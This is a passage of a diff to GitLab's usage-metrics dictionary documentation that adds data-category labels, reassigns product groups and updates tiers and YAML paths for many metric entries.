Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5178,6 +6188,8 @@ Count of projects with active integrations for Teamcity CI
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5190,6 +6202,8 @@ Count of projects with active integrations for Unifiy Circuit
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5202,6 +6216,8 @@ Count of projects with active integrations for Webex Teams
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5212,11 +6228,13 @@ Count of projects with alerts created in given time period
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180458_projects_with_alerts_created.yml)
-Group: `group::health`
+Group: `group::monitor`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.projects_with_alerts_service_enabled`
@@ -5224,7 +6242,9 @@ Count of projects that have enabled the Alerts service
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180456_projects_with_alerts_service_enabled.yml)
-Group: `group::health`
+Group: `group::monitor`
+
+Data Category: `Optional`
Status: `removed`
@@ -5236,11 +6256,13 @@ Count of projects with at least 1 enabled integration
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180500_projects_with_enabled_alert_integrations.yml)
-Group: `group::health`
+Group: `group::monitor`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts.projects_with_error_tracking_enabled`
@@ -5248,7 +6270,9 @@ Count of projects that have enabled Error tracking via Sentry
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180454_projects_with_error_tracking_enabled.yml)
-Group: `group::health`
+Group: `group::monitor`
+
+Data Category: `Optional`
Status: `data_available`
@@ -5262,6 +6286,8 @@ The number of projects with cleanup policy for tags turned off
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5274,6 +6300,8 @@ A count of projects with the cleanup policy for tags turned on
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5286,6 +6314,8 @@ A count of projects with the cleanup policy set to run every 14 days
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5298,6 +6328,8 @@ A count of projects with the cleanup policy set to run every day
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5310,6 +6342,8 @@ A count of projects with the cleanup policy set to run monthly
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5322,6 +6356,8 @@ A count of projects with the cleanup policy set to run every 3 months
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5334,6 +6370,8 @@ A count of projects with the cleanup policy set to run every 7 days
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5346,6 +6384,8 @@ A count of projects with the cleanup policy set to keep 1 tag
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5358,6 +6398,8 @@ A count of projects with the cleanup policy set to keep 10 tags
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5370,6 +6412,8 @@ A count of projects with the cleanup policy set to keep 100 tags
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5382,6 +6426,8 @@ A count of projects with the cleanup policy set to keep 25 tags
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5394,6 +6440,8 @@ A count of projects with the cleanup policy set to keep 5 tags
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5406,6 +6454,8 @@ A count of projects with the cleanup policy set to keep 50 tags
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5418,6 +6468,8 @@ A count of projects with the cleanup policy with the number of tags to keep unse
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5430,6 +6482,8 @@ A count of projects with the cleanup policy set delete tags older than 14 days
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5442,6 +6496,8 @@ A count of projects with the cleanup policy set delete tags older than 30 days
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5454,6 +6510,8 @@ A count of projects with the cleanup policy set delete tags older than 7 days
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5466,6 +6524,8 @@ A count of projects with the cleanup policy set delete tags older than 90 days
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5478,6 +6538,8 @@ A count of projects with the cleanup policy with the number of tags to delete un
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5490,6 +6552,8 @@ Projects with package registry enabled
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5502,6 +6566,8 @@ Projects with Prometheus alerting enabled
Group: `group::monitor`
+Data Category: `Optional`
+
Status: `removed`
Tiers: `free`
@@ -5514,6 +6580,8 @@ Count of users creating projects that have a matching Git repository, result of
Group: `group::source code`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -5526,6 +6594,8 @@ Count of projects with Terraform MR reports
Group: `group::configure`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5538,6 +6608,8 @@ Count of projects with GitLab Managed Terraform State
Group: `group::configure`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5550,6 +6622,8 @@ Projects with tracing enabled
Group: `group::monitor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5562,6 +6636,8 @@ Count of projects with active integrations for YouTrack
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5574,6 +6650,8 @@ Count of total protected branches
Group: `group::source code`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -5586,6 +6664,8 @@ Count of branches that have been protected and are not the default branch
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5598,6 +6678,8 @@ Unique release tags
Group: `group::release`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -5610,6 +6692,8 @@ Count of total remote mirrors. Includes both push and pull mirrors
Group: `group::source code`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5622,6 +6706,8 @@ Count of requirement test reports created from CI
Group: `group::certify`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `ultimate`
@@ -5634,6 +6720,8 @@ Count of requirement test reports created manually
Group: `group::certify`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `ultimate`
@@ -5646,6 +6734,8 @@ Count of requirements created
Group: `group::certify`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `ultimate`
@@ -5658,6 +6748,8 @@ Count of requirements having a test report
Group: `group::certify`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `ultimate`
@@ -5670,18 +6762,22 @@ Count of SAST CI jobs for the month. Job names ending in '-sast'
Group: `group::static analysis`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
### `counts.secret_detection_jobs`
-Count of 'secret-detection' CI jobs fro the month.
+Count of all 'secret-detection' CI jobs.
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182114_secret_detection_jobs.yml)
Group: `group::static analysis`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5694,6 +6790,8 @@ Count of service desk enabled projects
Group: `group::certify`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -5706,6 +6804,8 @@ Count of service desk issues
Group: `group::certify`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`
@@ -5718,6 +6818,8 @@ Count of comments on Snippets
Group: `group::editor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5730,6 +6832,8 @@ Count of newly created Snippets
Group: `group::editor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5742,6 +6846,8 @@ Count of updates to existing Snippets
Group: `group::editor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5754,6 +6860,8 @@ Count of all Snippets
Group: `group::editor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5766,6 +6874,8 @@ Count of total Git push operations
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5778,6 +6888,8 @@ Count of commits created from the Static Site Editor
Group: `group::editor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5790,6 +6902,8 @@ Count of merge requests created via Static Site Editor
Group: `group::editor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5802,6 +6916,8 @@ Count of Static Site Editor views
Group: `group::editor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5810,49 +6926,57 @@ Tiers: `free`, `premium`, `ultimate`
Cumulative count of usages of publish operation
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180502_status_page_incident_publishes.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216180502_status_page_incident_publishes.yml)
+
+Group: `group::monitor`
-Group: `group::health`
+Data Category: `Optional`
Status: `data_available`
-Tiers: `free`
+Tiers: `ultimate`
### `counts.status_page_incident_unpublishes`
Cumulative count of usages of unpublish operation
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180504_status_page_incident_unpublishes.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216180504_status_page_incident_unpublishes.yml)
-Group: `group::health`
+Group: `group::monitor`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers: `free`
+Tiers: `ultimate`
### `counts.status_page_issues`
Issues published to a Status Page
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180507_status_page_issues.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216180507_status_page_issues.yml)
-Group: `group::health`
+Group: `group::monitor`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers: `free`
+Tiers: `ultimate`
### `counts.status_page_projects`
Projects with status page enabled
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180506_status_page_projects.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216180506_status_page_projects.yml)
-Group: `group::health`
+Group: `group::monitor`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers: `free`
+Tiers: `ultimate`
### `counts.successful_deployments`
@@ -5862,6 +6986,8 @@ Total successful deployments
Group: `group::release`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -5874,6 +7000,8 @@ Count of all comments that contain suggested changes
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5886,6 +7014,8 @@ Count of total repo templates used to aggregate all file templates
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -5898,6 +7028,8 @@ Count of active service templates for Asana
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5910,6 +7042,8 @@ Count of active service templates for Assembla
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5922,6 +7056,8 @@ Count of active service templates for Bamboo CI
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5934,6 +7070,8 @@ Count of active service templates for Bugzilla
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5946,6 +7084,8 @@ Count of active service templates for Buildkite
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5958,6 +7098,8 @@ Count of active service templates for Campfire
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5970,6 +7112,8 @@ Count of active service templates for Confluence
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5982,6 +7126,8 @@ Count of active service templates for a Custom Issue Tracker
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -5994,6 +7140,8 @@ Count of active service templates for Datadog
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6006,6 +7154,8 @@ Count of active service templates for Discord
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6018,6 +7168,8 @@ Count of active service templates for Drone CI
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6030,6 +7182,8 @@ Count of active service templates for Emails on Push
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6042,6 +7196,8 @@ Count of active service templates for EWM
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6054,6 +7210,8 @@ Count of active service templates for External Wiki
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6066,6 +7224,8 @@ Count of active service templates for Flowdock
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6078,6 +7238,8 @@ Count of active service templates for GitHub
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -6090,6 +7252,8 @@ Count of active service templates for Hangouts Chat
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6102,6 +7266,8 @@ Count of active service templates for HipChat
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `removed`
Tiers: `free`, `premium`, `ultimate`
@@ -6114,6 +7280,8 @@ Count of active service templates for Irker
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6126,6 +7294,8 @@ Count of active service templates for Jenkins
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6138,6 +7308,8 @@ Count of active service templates for Jira
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6150,6 +7322,8 @@ Count of active service templates for Mattermost
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6162,6 +7336,8 @@ Count of active service templates for Mattermost (slash commands)
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6174,6 +7350,8 @@ Count of active service templates for Microsoft Teams
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6186,6 +7364,8 @@ Count of active service templates for Mock CI
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `removed`
Tiers: `free`, `premium`, `ultimate`
@@ -6198,6 +7378,8 @@ Count of active service templates for Mock Monitoring
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `removed`
Tiers: `free`, `premium`, `ultimate`
@@ -6210,6 +7392,8 @@ Count of active service templates for Packagist
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6222,6 +7406,8 @@ Count of active service templates for Pipeline Emails
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6234,6 +7420,8 @@ Count of active service templates for Pivotal Tracker
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6246,6 +7434,8 @@ Count of active service templates for Prometheus
Group: `group::monitor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6258,6 +7448,8 @@ Count of active service templates for Pushover
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6270,6 +7462,8 @@ Count of active service templates for Redmine
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6282,6 +7476,8 @@ Count of active service templates for Slack
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6294,6 +7490,8 @@ Count of active service templates for Slack (slash commands)
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6306,6 +7504,8 @@ Count of active service templates for Teamcity CI
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6318,6 +7518,8 @@ Count of active service templates for Unifiy Circuit
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6330,6 +7532,8 @@ Count of active service templates for Webex Teams
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6342,6 +7546,8 @@ Count of active service templates for YouTrack
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6354,6 +7560,8 @@ Count of Terraform MR reports generated
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6366,6 +7574,8 @@ Count of GitLab Managed Terraform States
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6378,6 +7588,8 @@ Count of todos created
Group: `group::project management`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6390,6 +7602,8 @@ Count of Uploads via Notes and Descriptions
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6402,6 +7616,8 @@ Count of users who set personal preference to see Details on Group information p
Group: `group::threat insights`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `ultimate`
@@ -6414,6 +7630,8 @@ Count of users who set personal preference to see Security Dashboard on Group in
Group: `group::threat insights`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `ultimate`
@@ -6426,6 +7644,8 @@ Count of users with the GitPod integration enabled
Group: `group::editor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6438,6 +7658,8 @@ Missing description
Group: `group::ecosystem`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -6450,6 +7672,8 @@ Count of commits made from the Web IDE
Group: `group::editor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6462,6 +7686,8 @@ Count of merge requests created from the Web IDE
Group: `group::editor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6474,6 +7700,8 @@ Count of Pipeline tab views in the Web IDE
Group: `group::editor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6486,6 +7714,8 @@ Count of Live Preview tab views in the Web IDE
Group: `group::editor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6498,6 +7728,8 @@ Count of Web Terminal tab views in the Web IDE
Group: `group::editor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6510,6 +7742,8 @@ Count of views of the Web IDE
Group: `group::editor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6522,6 +7756,8 @@ Count of all Wiki pages created
Group: `group::editor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6534,6 +7770,8 @@ Count of all Wiki pages deleted
Group: `group::editor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6546,6 +7784,8 @@ Count of all Wiki page updates
Group: `group::editor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6558,6 +7798,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -6570,6 +7812,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6582,6 +7826,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6594,21 +7840,25 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
### `counts_monthly.aggregated_metrics.compliance_features_track_unique_visits_union`
-Missing description
+Unique users that have used audit event screen, audit event API, compliance dashboard, or credential inventory
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183201_compliance_features_track_unique_visits_union.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216183201_compliance_features_track_unique_visits_union.yml)
-Group: ``
+Group: `group::compliance`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers: `free`
+Tiers: `premium`, `ultimate`
### `counts_monthly.aggregated_metrics.i_testing_paid_monthly_active_user_total`
@@ -6618,6 +7868,8 @@ Aggregated count of users who have engaged with a Premium or Ultimate tier testi
Group: `group::testing`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -6628,11 +7880,13 @@ Count of unique users per month to take an action on an alert
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180509_incident_management_alerts_total_unique_counts.yml)
-Group: `group::health`
+Group: `group::monitor`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts_monthly.aggregated_metrics.incident_management_incidents_total_unique_counts`
@@ -6640,11 +7894,13 @@ Count of unique users per month to take an action on an incident
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180511_incident_management_incidents_total_unique_counts.yml)
-Group: `group::health`
+Group: `group::monitor`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `counts_monthly.aggregated_metrics.product_analytics_test_metrics_intersection`
@@ -6654,6 +7910,8 @@ This was test metric used for purpose of assuring correct implementation of aggr
Group: `group::product intelligence`
+Data Category: `Optional`
+
Status: `removed`
Tiers: `free`, `premium`, `ultimate`
@@ -6666,6 +7924,8 @@ This was test metric used for purpose of assuring correct implementation of aggr
Group: `group::product intelligence`
+Data Category: `Optional`
+
Status: `removed`
Tiers: `free`, `premium`, `ultimate`
@@ -6678,6 +7938,8 @@ Total deployments count for recent 28 days
Group: `group::ops release`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6690,6 +7952,8 @@ Total failed deployments
Group: `group::release`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -6702,6 +7966,8 @@ A monthly count of packages published to the registry
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6714,6 +7980,8 @@ Monthly count of personal Snippets
Group: `group::editor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6726,6 +7994,8 @@ Monthly count of project Snippets
Group: `group::editor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6738,6 +8008,8 @@ Count number of projects created monthly
Group: `group::project management`
+Data Category: `Optional`
+
Status: `implemented`
Tiers: `free`, `premium`, `ultimate`
@@ -6750,6 +8022,8 @@ Monthly count of unique projects with HTTP alerting enabled
Group: `group::monitor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6762,6 +8036,8 @@ Monthly count of All Snippets
Group: `group::editor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6774,6 +8050,8 @@ Total successful deployments
Group: `group::release`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -6786,6 +8064,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6798,6 +8078,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6810,21 +8092,25 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
### `counts_weekly.aggregated_metrics.compliance_features_track_unique_visits_union`
-Missing description
+Unique users that have used audit event screen, audit event API, compliance dashboard, or credential inventory
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216183211_compliance_features_track_unique_visits_union.yml)
-Group: ``
+Group: `group::compliance`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers:
+Tiers: `premium`, `ultimate`
### `counts_weekly.aggregated_metrics.i_testing_paid_monthly_active_user_total`
@@ -6834,6 +8120,8 @@ Aggregated count of users who have engaged with a Premium or Ultimate tier testi
Group: `group::testing`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -6842,25 +8130,29 @@ Tiers: `premium`, `ultimate`
Count of unique users per week to take an action on an alert
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216180513_incident_management_alerts_total_unique_counts.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216180513_incident_management_alerts_total_unique_counts.yml)
-Group: `group::health`
+Group: `group::monitor`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `counts_weekly.aggregated_metrics.incident_management_incidents_total_unique_counts`
Count of unique users per week to take an action on an incident
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216180515_incident_management_incidents_total_unique_counts.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216180515_incident_management_incidents_total_unique_counts.yml)
+
+Group: `group::monitor`
-Group: `group::health`
+Data Category: `Optional`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `counts_weekly.aggregated_metrics.product_analytics_test_metrics_intersection`
@@ -6870,6 +8162,8 @@ This was test metric used for purpose of assuring correct implementation of aggr
Group: `group::product intelligence`
+Data Category: `Optional`
+
Status: `removed`
Tiers: `free`, `premium`, `ultimate`
@@ -6882,6 +8176,8 @@ This was test metric used for purpose of assuring correct implementation of aggr
Group: `group::product intelligence`
+Data Category: `Optional`
+
Status: `removed`
Tiers: `free`, `premium`, `ultimate`
@@ -6894,6 +8190,8 @@ This metric only returns a value of PostgreSQL in supported versions of GitLab.
Group: `group::enablement distribution`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6906,6 +8204,8 @@ TBD
Group: `group::distribution`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -6918,6 +8218,8 @@ The version of the PostgreSQL database.
Group: `group::distribution`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -6930,6 +8232,8 @@ A count of projects where the dependency proxy is enabled
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
